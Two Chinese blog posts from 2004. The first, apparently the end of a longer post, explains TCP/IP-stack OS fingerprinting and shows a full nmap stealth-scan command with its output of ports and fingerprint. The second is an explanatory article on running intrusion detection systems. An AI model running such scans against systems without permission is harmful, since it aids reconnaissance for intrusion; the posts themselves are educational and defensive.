这种有识别操作系统功能的软件,多数采用的是操作系统协议栈识别技术。这是因为不同的厂家在编写自己操作系统时,TCP/IP协议虽然是统一的,但对TCP/IP协议栈是没有做统一的规定的,厂家可以按自己的要求来编写TCP/IP协议栈,从而造成了操作系统之间协议栈的不同。因此我们可以通过分析协议栈的不同来区分不同的操作系统,只要建立起协议栈与操作系统对应的数据库,我们就可以准确的识别操作系统了。目前来说,用这种技术识别操作系统是最准确,也是最科学的。因此也被称为识别操作系统的“指纹技术”。当然识别的能力与准确性,就要看各软件的数据库建立情况了。
下面是简单介绍两款有识别功能的软件。
1、 著名的nmap,它采用的是主动式探测,探测时会主动向目标系统发送探测包,根据目标目标机回应的数据包来,叛断对方机的操作系统。用法如下:
F: map>nmap -vv -sS -O 10.1.1.5

Starting nmap V. 3.00 ( www.insecure.org/nmap )
Host IS~123456ADCD (10.1.1.5) appears to be up ... good.
Initiating SYN Stealth Scan against IS~123456ADCD (10.1.1.5)
Adding open port 139/tcp
Adding open port 7070/tcp
Adding open port 554/tcp
Adding open port 23/tcp
Adding open port 1025/tcp
Adding open port 8080/tcp
Adding open port 21/tcp
Adding open port 5050/tcp
Adding open port 9090/tcp
Adding open port 443/tcp
Adding open port 135/tcp
Adding open port 1031/tcp
Adding open port 3372/tcp
Adding open port 25/tcp
Adding open port 1433/tcp
Adding open port 3389/tcp
Adding open port 445/tcp
Adding open port 80/tcp
The SYN Stealth Scan took 1 second to scan 1601 ports.
For OSScan assuming that port 21 is open and port 1 is closed and neither ar
rewalled
Interesting ports on IS~123456ADCD (10.1.1.5):
(The 1583 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
554/tcp open rtsp
1025/tcp open NFS-or-IIS
1031/tcp open iad2
1433/tcp open ms-sql-s
3372/tcp open msdtc
3389/tcp open ms-term-serv
5050/tcp open mmcc
7070/tcp open realserver
8080/tcp open http-proxy
9090/tcp open zeus-admin
Remote operating system guess: Windows 2000/XP/ME
OS Fingerprint:
TSeq(Class=RI%gcd=1%SI=21F8%IPID=I%TS=0)
T1(Resp=Y%DF=Y%W=FAF0%ACK=S++%Flags=AS%Ops=MNWNNT)
T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T3(Resp=Y%DF=Y%W=FAF0%ACK=S++%Flags=AS%Ops=MNWNNT)
T4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RIPCK=E%UCK=E%ULEN=134%DAT=E)

TCP Sequence Prediction: Class=random positive increments
Difficulty=8696 (Worthy challenge)
TCP ISN Seq. Numbers: 5B9022E2 5B914E12 5B92A495 5B93915A 5B94A9B5 5B95CC64
IPID Sequence Generation: Incremental

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

其中 Remote operating system guess: Windows 2000/XP/ME 这行就是NMAP对操作系统类型的判断。还返回了好多信息,NMAP不愧为扫描之王。(哈哈,黑客必备哦!)
2、 天眼,采用的是被动式的探测方法。不向目标系统发送数据包,只是被动地探测网络上的通信数据,通过分析这些数据来判断操作系统的类型。配合supersan使用,较果很好。
具体的使用方法,在此就不具体介绍了。有兴趣的的朋友可以到网上搜一下关于天眼使用方法的文章,会有很多的。
以上讲解了一些对操作系统识别的基本方法,希望对初学者有用。由于本人水平有限,不当之处,还请高手斧正!

- 作者: 007show 2004年08月24日, 星期二 22:46  回复(0) |  引用(0) 加入博采

安装入侵检测系统后的注意事项
入侵检测系统(Intrusion Detection System IDS)如同一个三岁的早熟小孩,需要你时刻注意他,否则他就不高兴。这种说法可能有些离谱,但IDS确实不象其它安全系统那样,在安装后可以置之不理,而是需要与你沟通,需要你的特别留意。

在经过数月的评估、测试、购置等工作,部署好入侵检测系统后,别以为事情就已完成,其实还有很多等待你去做。
  入侵检测系统(Intrusion Detection System IDS)如同一个三岁的早熟小孩,需要你时刻注意他,否则他就不高兴。这种说法可能有些离谱,但IDS确实不象其它安全系统那样,在安装后可以置之不理,而是需要与你沟通,需要你的特别留意。

  防火墙有可能不需要你的理会,因为它只是默默地驻守在网络的旁边,隔断所有不受欢迎的网包,保护你的网络不受拒绝服务攻击或惹上其它与IP有关的麻烦。 认证系统、VPN 以及其它大部分安全设备也都不需要你的理会。你越不理会它们的存在,它们越能各尽其职。

  相反,IDS需要你不断地敦促才能"进入状态",这样才会告诉你它正在扫描端口,有无诸如"SYN风暴" 及其它各种各样的"鬼东西"正在攻击你的网络及系统。所以,如果你考虑把IDS作为网络安全架构的一部分,你就不仅要考虑哪些方案最能满足你的需要,还要考虑你在"安装后的生活状况"。也就是说,你将如何监控你的系统,谁去监管这些系统,以及最重要一点--IDS半夜三更发出警报时,你该怎麽办?

不仅仅是"即插即用"

  要好好利用IDS,因为安装后不仅意味着你拥有探测器及监控器,同时,你将拥有技术和人力资源的定制权、监控权、反应权及改正权。

  定制 是指更精细地调校IDS,使IDS有能力找出与你网络有关的事件。统计数据显示:大部分攻击是由来自企业内部DMZ (非军事区)的人发动的,所以这个寻找过程不仅限于消除来自网上的假警报。

  监控 是指对IDS资源的理解,包括知道什么是假警报以及如何调查及处理那些看来是真的警示。

  反应 是指当有真警报发生时所采取的行动。攻击者究竟想达到什么目的?攻击者来了没有?如果你的Web 服务器已被破坏,你要做什么?把服务器关掉,还是进入离线状态?是否要发动反击?你是否准备进行犯案分析,来判断真正发生了什么事情,然后采取法律行动?

  改正是指堵塞漏洞--漏洞的范围很广泛,可以是一个配置不良的服务器,或是一个过时的安全政策和一个不充分安全的网络边界。

  IDS 监控及程序 在把整个安全架构捆绑在一起时,你有没有考虑清楚到底要监控什么?你有没有决定一旦发生事故后要采取什么行动?一旦检测到入侵事件, 你有没有一套纠正问题的机制? 如果你不能回答这些问题,你就没有资格讨论网络安全这一问题。

入侵检测系统:回顾

  在深入探讨如何监控IDS 及如何对攻击或滥用等行为报告反应前,我们应该先回顾现在市场上最常见的IDS系统。一般来说,IDS 由探测器及管理器组成,探测器负责寻找出攻击, 而管理器整理探测器收集的数据并把结果报告给操作员。

  IDS探测器基本上分两类: 基于网络的和基于主机的。基于网络的探测器负责嗅探网络的连接,监视例如TCP包的流量等,看看有没有被攻击的迹象;基于主机的探测器在你重要的系统服务器、工作站或用户机器上运行,监视OS或系统事件级别的可疑活动。这些探测器可寻找潜在的可疑活动(如尝试登录失败)。IDS管理器则是一个中央监控中心,不断接收来自探测器及警报器的数据。

  基于网络的IDS 基于网络的IDS如同"超级"探测器,即它们在TCP/IP层(或更低层)监视流量,看看有没有已知的攻击模式(如Ping-of-death 或Web 服务器的攻击)。这些系统的工作极富挑战性,因为探测器看不到网上所有流量的交换环境。此外,绝大部分基于网络的IDS只能找出与黑客攻击类似的滥用模式。基于网络的IDS容易出现假警报。例如,当你的Web 服务器已超载,不能够再处理更多的连接请求时, IDS会以为你正在受到拒绝服务的攻击,但是真实的情况并不是这样。通常,基于网络的IDS不会搜索其它可疑活动,如某个邮递工作人员试图访问你公司的财务数据等。当然,网络嗅探器可以被调校成只搜索某一类攻击,但要找出每种攻击情景是个相当费事的过程。假如很多破坏安全的事件是由内部人所为,而你只用IDS监视网络边界来搜索攻击,这在某种程度还不能达到你投资IDS的目的。

  基于主机的IDS 这种检测系统采取不同的方法搜索攻击模式。基于主机的IDS与嗅探器不同,检测事件要靠操作系统的日志,因此它不能目击发生在网络层的攻击。 如同基于网络的IDS,这些基于主机的IDS迫使你定义清楚哪些是你认为不合法的活动,然后就把这种安全政策转换成IDS规则。基于主机的IDS也可以被配置成搜索某类指定的攻击而忽略其它的模式。同样,调校探测器的过程也是非常费时的。

混合型IDS
  供应商已知道纯粹基于主机或基于网络的IDS拥有很多功能上的局限性,所以,大约在一年前,他们就开始推出新系统。他们把这两类IDS的最好功能结合起来,形成了新的IDS探测架构。ISS 的RealSecure,、NAI 的CyberCop 及ODS 网络公司的CMDS 就采取了这种混合方法来提供入侵检测的解决方案。

  RealSecure 原本依赖基于网络的探测器探测,但现在也包括了基于主机的入侵检测系统。ISS也融合了监控路由器系统日志的功能,所以,现在你的路由器也可以是个IDS探测器。CyberCop现在不仅提供基于主机的IDS,它也正在朝融合架构的方向发展,把网络嗅探器放在它们的主机代理中。而CMDS 同时使用网络及主机信息来搜索攻击模式。

智能IDS管理器

  典型的IDS,不管是基于主机的、基于网络的或是两类型的混合,仍然需要你对它们进行调校及定制。但有一种新型的IDS,名叫"智能系统"IDS,它可以减轻你部分工作量。 这种系统不只可以从特别的探测器中读取数据,还可以从网络中每一台设备读取信息。它们会聆听路由器及操作系统的系统日志,吸纳防火墙的日志文件及IDS探测器信息,然后通过整理这批数据来判断你的网络究竟发生了什么事情。

  这样的智能系统也试图通过智能调校灵敏度以消除假警报。 例如:CMDS就有一个检测不正常活动的工具,它可在某段时间内收集网络的数据,然后用基于网络的方法建立新的用户简表。一旦建立了新的简表,所有超出简表范围的事件都会触发警报。例如,如果用户Bob一般都是在正常工作时间登录网络,但有一次,Bob半夜三点钟从家里登录并开始下载文件。虽然Bob并没有做错事,IDS同样会向你发出警报。

  其它产品也开始相继融合了类似的高级智能功能。例如CyberSafe 的Centrax 融合了安全政策、评估及监控功能,成为单一的管理控制台。 ISS 的RealSecure 的Fusion 技术就是结合了多个探测器的结果,不论这些探测器是基于主机的还是网络的、路由器或防火墙的,根据横跨这些设备的多阶段事件,IDS就可以作出明智的决定。例如,由网络探测器检测出缓冲器溢出,同时,主机探测器检测到根登录,这两者结合就可能是非法操作,IDS便会发出警报。

  其它供应商也正在努力改进系统,使IDS更能减轻行政管理的负担。Axent 的NetProwler 可以先扫描你的网络,看看网络有哪些系统,然后自动配置适当的网络型探测器来分辨有哪些是可能或不可能发生的攻击,以及有哪些攻击可能会成功。因为有的安全管理人员可能想知道什么时候网络被攻击,而另一些只想消除不可能的攻击所引致的假警报(例如针对NT发动的攻击在攻击Solaris 系统)。

监控IDS:真正的挑战

  不管你选择网络型的或是主机型的监控(如CMDS这类的智能系统、HP Open-View 的标准监控器),你最后还是要对IDS向你报告的信息作出反应。所以,当有真的警报发生时,你该做什么?如果你要计算投资IDS后有什么回报的话,这可能是个最重要、但却最容易被忽略的问题。

  要有效地监控系统,你需要在多个重要环节做好准备:

  -IDS 监控及回应
  -事件处理
  -犯案分析及数据保留
  -报告过程

IDS 监控及回应

  首先,你要知道是谁在监控你的IDS系统。你有没有一个技术很好的安全专家坐在监控控制台前,等着警报发生并反应?答案很可能是没有。在大部分企业中,一线的回应人员多数没有经验。遗憾的是,市场上供应的IDS在这方面并不能提供有力的帮助。举例来说,虽然Cisco 的NetRanger 按照五个级别将警报分类,但仍然没有告诉你收到警报后该怎样做。

  因此,只有拥有明确的监控指导,操作员才知道在警报发生时应该进行什么特定的操作。为什么要写下来?因为如果没有白纸黑字,对IDS事件的反应操作程度是非常难于控制的。

  让我们来看两个例子。第一个:假设你的操作员发现某人对防火墙进行端口扫描。如果你明智地设置了防火墙及其它主机,那么,这种端口扫描就不会造成多大的威胁,所以,你的操作员只需要记下扫描的来源地址,然后继续工作即可。

  第二个:假设你设置了VPN,让一个业务伙伴访问你的数据库服务器。现在,你的操作员发现了来自你业务伙伴网络的端口扫描行为,这就是个严重的潜在威胁。有可能是你业务伙伴的网络被破坏,或是来自你伙伴网络的某人试图攻入你的系统。谁能做出应对措施?是你的操作员,而不是IDS。

  问题是,经验不足的操作员没有能力分清这两种攻击的轻重,所以,在没有书面的监控指导的情况下,他有可能对第一种情况反应过激,而对第二种则置之不理。

  解译IDS报文:究竟这些警报意味着什么?

  在上文中,我们提及的端口扫描是一种黑客惯用的初级攻击手法。至于那些更深奥的攻击又如何应付?你的操作员能否明白FIN扫描的重要性?利用dot-dot漏洞攻击又是什么?或是Statd 缓冲器过速?要弄明白IDS想要告诉你发生了什么事是非常不容易的,即使是满腹经纶的安全专家也需要打起十二万分的精神。在现阶段,不是每个IDS都能解释清楚它们的警报到底是什么意思。

  至于解释警报,ISS的RealSecure 及NAI 的CyberCop Monitor 是当今两个最好的解决方案。当有警报发生时,只要点击警报,系统便会提供针对这种攻击提供更详细的资料。很多IDS也启动了数字签名的定义数据库:有攻击的解释、如何攻击、会有什么影响及如何对付。ISS 的帮助文件是可以自行制定的,你可以通过调校警报简表来使其个性化。Cisco 的NetRanger 也是一样。NetRanger 的数据库其实就是一系列的HTML文件。有一个可扩展的HTML数据库非常好,你可以针对每类攻击,把Cisco 的HTML文件换成你制定的事件反应操作流程,这样,你就可以把适合本企业的反应操作制定到企业的管理中了。

  这样我们就面对了一个新问题:警报的定义。IDS 认为是初级的警报,有可能是你企业的高级警报,反之亦然。例如,一个statd 缓冲器过时操作、某个特定的UNIX漏洞等,可能对UNIX服务器特别有效,但对NT机器则毫无作用。所以,虽然大部分的IDS把这种漏洞归类为高级警报,但如果你的企业使用NT机器,那麽,这样的警报就没有丝毫价值。当然,如果你仍然想知道是谁试图攻击你的网络,这种报警还是有作用的。但事实是,知道哪些漏洞对你的企业会造成威胁才能更准确的避免损失的发生。

事件处理:攻击事件发生到你头上时, 你应该作什么?

  现在你已选定或新建了有意义警报的IDS,你也写明了当一线监控员收到这些警报时要进行什么样的操作,但余下的一个问题尚待商榷:真正发生安全事故时,你该做什么?例如,假设CMDS已为输入数据的文员陈小姐定出了她的用户简表,并已警告你陈小姐试图以管理员身份登录到你的域控制器。天啊,这是真正的警报!又或者是,某黑客组织"du jour "在你的Web 服务器上针对从未公开的漏洞进行攻击,并把你的主页换上了他们的得意杰作。现在轮到你了,你该做什么?把服务器关掉?把硬盘格式化,重新安装操作系统?在你的IDS 增加自动反应功能,以便以后再有这样的攻击就堵塞此漏洞?问问供应商有没有对付这种漏洞的补丁?

  事件处理是件很令人头疼的事情,虽然每种IDS都有能力按照警报的种类、严重程度及目标主机作出反应,但IDS在事件处理方面对你并没有多大的帮助。例如,NetProwler 的自动反应是传呼你或发送SNMP软中断。但值得注意的是,自动反应也存在缺点:它也可以被利用反过来攻击你。例如,如果攻击者知道拒绝服务攻击会导致系统自动传呼,他就有可能改变策略,他会从半夜到凌晨六点每隔一小时发动一次拒绝服务攻击。对此种攻击,企业不会蒙受什么损失,但要提醒你的是:你的管理人员第二天上班时会睡眼惺忪,因为昨夜他的传呼机每隔一小时就会响一次!

  有时候,你想保留"犯罪现场"的原貌,但如果操作员的第一反应就是关掉被破坏的系统,那么你就有可能失去有价值的罪证。你有没有想过如何保留IDS日志文件、被攻击系统的硬盘内容、甚至是被破坏系统的存储图象?如果你决定起诉,你知道法庭需要你提供什么?这个级别的反应在什么时候最适用?所以,有书面的事件处理程序对正确应付IDS所提供的信息是非常有用的。没有这样的书面说明,操作员及管理人员在发生事故后作善后处理时就有可能会做错事。

事件反应计划:做好准备

  有效的事件反应计划的第一要素是"易懂、易查、易练习"。 如果你的反应计划象一部放在桌上的"大英字典",就可能没有人敢去翻阅。如同灾难救援政策一样,事件反应计划要经常演练,最好的程序是直接与IDS警报结合。但遗憾的是,现在没有一个IDS供应商能够有效地把实时反应程序融和在系统之中。NAI的Active Security Suite 在这方面领先于同类产品,因为他的Event Orchestrator 可以按照不同的警报触发一系列的行动。其它系统(例如 Cisco 的NetRanger)不过融和了如HP OpenView 等网络管理工具,而把反应行动留给你去处理。

  所以,大部分IDS的自动反应或建议只是事件反应计划中很小的一部分。关键在于你企业的操作人员及管理人员想不想去处理警报,并能依据紧急反应程序去实施正确的处理办法。

报告过程: 管理的角度

  现在假设你已有了很好的事件反应计划,也训练了操作人员,而且对IDS的工作表现也很满意,那么,最后一点你需要注意的就是报告。既然你花了那么大的力气布署IDS来保护你的网络,你也希望能够生成有用的报表(为你自己,也为管理层),看看IDS究竟看到了什么,是不是不遗余力地赶走那些令人讨厌的黑客。这样的报表对于加强网络保护措施是非常重要的。

  IDS的最大用处是标出那些最常见的攻击模式,并提醒你要防范这些攻击。因为要把你所有的系统安装上最新的补丁是很不容易做到的,但是在用了IDS后,通过搜寻最普遍的攻击模式,你就可以有针对性地建立防范措施。

  例如,如果你常常受到拒绝服务SYN风暴攻击,你就会在防火墙上安装保护SYN风暴的措施。或者是,如果你发现某人利用一个Microsoft 的新漏洞攻击你的NT服务器,你可能想加快安装最新的Microsoft补丁。虽然IDS 可以提供你如"漏洞排行榜"或是哪些是最易受攻击的服务器等信息,但你仍需要就是否采取行动与安全员工进行商议并做出决定。如果你不能将报表结果付诸行动,当真正发生事故时,你就会悔之晚矣。

24x7 的安全

  在过去的一年中,入侵检测技术的价值不断提高,用途更为广泛。即将推向市场的主机型及网络型结合的探测器,以及针对网络需要的自动配置及调校的技术改良都使你部署IDS更为方便。IDS在一天24小时,一星期七天看守你网络。

  最后要提醒你的是,你仍是决定是否安装监控系统并对警报作出适当反应的决策者。在有事件发生前,先把你的IDS精细调校并安装在网络之中,写下监控指导及报警准则,并制定事件的相关反应行动,这样你就把花费在IDS上的投资用到极致。仅仅使用"即插即用"的手法来使用IDS将会是你犯的最大一个错误。

- 作者: 007show 2004年08月24日, 星期二 22:44  回复(0) |  引用(0) 加入博采